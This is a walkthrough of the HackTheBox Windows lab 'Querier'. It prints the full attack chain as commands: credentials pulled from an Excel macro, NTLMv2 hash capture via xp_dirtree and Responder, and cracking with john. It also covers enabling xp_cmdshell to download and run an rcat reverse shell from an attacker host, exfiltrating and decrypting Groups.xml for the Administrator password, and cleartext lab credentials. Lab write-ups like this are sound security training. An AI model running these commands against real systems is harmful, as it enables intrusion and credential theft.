Overview
Querier is a medium HackTheBox Windows machine that starts with a world-readable SMB share containing an Excel spreadsheet whose embedded macro hardcodes MSSQL credentials. Those credentials aren’t privileged enough on their own, but abusing xp_dirtree to force the SQL service account to authenticate to a Responder listener captures its NTLMv2 hash, which cracks offline. The recovered account has sysadmin rights, enabling xp_cmdshell for a straightforward reverse shell. Root exploits an old but still-effective Group Policy Preferences weakness: a Groups.xml file with an encrypted, but publicly known-key, Administrator password.
Attack Chain
- Scan the target and find
SMB,MSSQL, andWinRM, among other Windows service ports - Enumerate SMB shares and find a world-readable
reportsshare - Download an Excel file containing macros and unzip it to inspect the embedded VBA project
- Extract hardcoded
MSSQLcredentials from the macro withstrings - Connect to
MSSQLwith the recovered credentials, but find the account lackssysadminrights - Start a
Responderlistener and usexp_dirtreeto force the SQL service account to authenticate to it - Capture and crack the service account’s
NTLMv2hash withjohn - Verify the cracked credentials over
SMB, then reconnect toMSSQLwith them - Confirm
sysadminrights and enablexp_cmdshell - Transfer and execute an
rcatreverse shell payload throughxp_cmdshell - Catch a shell as
querier\mssql-svcand read the user flag - Run
PowerUp.ps1and identify a Group Policy PreferencesGroups.xmlfile as the intended privilege escalation path - Transfer
Groups.xmland decrypt its embedded password withgpp-decrypt - Verify the recovered Administrator credentials over
SMB - Build a
PowerShellcredential object and useInvoke-Commandto execute a reverse shell as Administrator - Catch a shell as Administrator and read the system flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.11.53; export NAME=QUERIER; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

SMB Enumeration
Recovering MSSQL Credentials from an Excel Macro
We use smbclient to enumerate available shares.
smbclient -N -L //$IP
We find one accessible share, Reports.

We connect to it.
smbclient //$IP/Reports
There’s a file, Currency Volume report.xlsm, which we transfer to our attacking machine.

An .xlsm file is an Excel file with macros enabled. We unzip it.
unzip Currency\ Volume\ Report.xlsm
Macros are usually stored in xl/vbaProject.bin.

We inspect it with strings.
strings xl/vbaProject.bin
Right at the top, we find MSSQL credentials.

reporting:PcwTWTHRwryjc$c6
Foothold
Connecting to MSSQL
We use impacket-mssqlclient to connect.
impacket-mssqlclient reporting@$IP -windows-auth
We enter the password and connect successfully.

We check whether we can enable xp_cmdshell.
enable_xp_cmdshell
We don’t have the necessary permissions.

We check for sysadmin (SA) privileges.
select IS_SRVROLEMEMBER ('sysadmin')
The response is false.

Capturing an NTLMv2 Hash
Before diving into the database, we check whether we can capture the hash of the account running MSSQL.
We start Responder in analyse mode.
sudo responder -I tun0 -A
In mssqlclient, we trigger an outbound SMB authentication attempt with xp_dirtree or xp_fileexist:
exec xp_dirtree '\\10.10.14.17\Share\test'
or
exec xp_fileexist '\\10.10.14.17\Share\test'
We execute the command.

We capture an NTLMv2 hash for mssql-svc.

We save the hash to a file.

We crack it with john.
john --wordlist=/usr/share/wordlists/rockyou.txt creds/mssql-svc_NTLMv2.hash
We recover a password.

mssql-svc:corporate568
Enabling xp_cmdshell
We test the credentials with netexec against SMB and WinRM. On SMB, they’re verified.
nxc smb $IP -u 'mssql-svc' -p 'corporate568' --local-auth

We try using these credentials with impacket-mssqlclient.
impacket-mssqlclient mssql-svc@$IP -windows-auth
Entering the password when prompted gives an untrusted domain error.

We work around this by supplying the password directly in the connection string.
impacket-mssqlclient mssql-svc:'corporate568'@$IP -windows-auth
We’re connected.

We check for sysadmin privileges again.
select IS_SRVROLEMEMBER ('sysadmin')
It returns true, meaning we can enable xp_cmdshell.

We enable it.
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE
xp_cmdshell whoami
We can execute commands.

Reverse Shell as mssql-svc
We download an rcat reverse shell payload.
xp_cmdshell powershell -c iwr http://10.10.14.17/rcat/rcat.exe -Outfile C:\ProgramData\rcat_10.10.14.17_443.exe
The transfer completes without errors.

We confirm the payload is in \ProgramData.
xp_cmdshell powershell -c "ls c:\ProgramData -force"
Our rcat payload is at the bottom of the listing.

We start a nc listener with rlwrap -cAr on port 443 and execute the payload.
xp_cmdshell powershell -c "c:\ProgramData\rcat_10.10.14.17_443.exe"

We have a shell as querier\mssql-svc.

We read the user flag.

Privilege Escalation
Finding Groups.xml
We transfer PowerUp.ps1 and import it.
Import-Module .\PowerUp.ps1
Invoke-AllChecks
There’s an easy path via SeImpersonatePrivilege with a Potato attack, but since this box is older, we go for the intended path.

There’s a Group Policy Preferences file, Groups.xml. For this attack, we transfer the file to our attacking machine and use gpp-decrypt to recover the password.
We copy the file to our SMB share.
copy 'C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml' \\10.10.14.17\Share\Groups.xml
We transfer Groups.xml from the share to our working directory. We run gpp-decrypt via Docker for stability, avoiding outdated Python dependencies.
sudo docker build -t gpp-decrypt .
sudo docker run -v $(pwd):/data gpp-decrypt -f "/data/Groups.xml"
We find the Administrator password.

Administrator:MyUnclesAreMarioAndLuigi!!1!
We verify the credentials with netexec.
nxc smb $IP -u 'administrator' -p 'MyUnclesAreMarioAndLuigi!!1!' --local-auth

Reverse Shell as Administrator
We create a PowerShell credential object and use it to execute our rcat reverse shell as Administrator.
$user = "querier\administrator"
$pass = "MyUnclesAreMarioAndLuigi!!1!"
$secstr = New-Object -TypeName System.Security.SecureString
$pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr
Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
We verify the credential object works.

We execute our rcat reverse shell.
Invoke-Command -ScriptBlock { cmd /c c:\ProgramData\rcat_10.10.14.17_443.exe } -Credential $cred -Computer localhost

We catch a shell as Administrator.

We read the system flag.

Key Takeaways
Querier chains three separate credential-exposure patterns, each of which shows up repeatedly in real-world Windows environments. Excel macros with hardcoded database credentials are an easy thing to overlook during code review, but strings finds them just as easily as a determined attacker would. MSSQL’s xp_dirtree and xp_fileexist functions are a well-known coercion primitive for capturing NetNTLMv2 hashes from a service account, useful even without direct database write access. And Group Policy Preferences’ encrypted passwords remain exploitable years after Microsoft published the AES key used to “protect” them, any Groups.xml file found on a domain-joined host should be treated as a plaintext credential.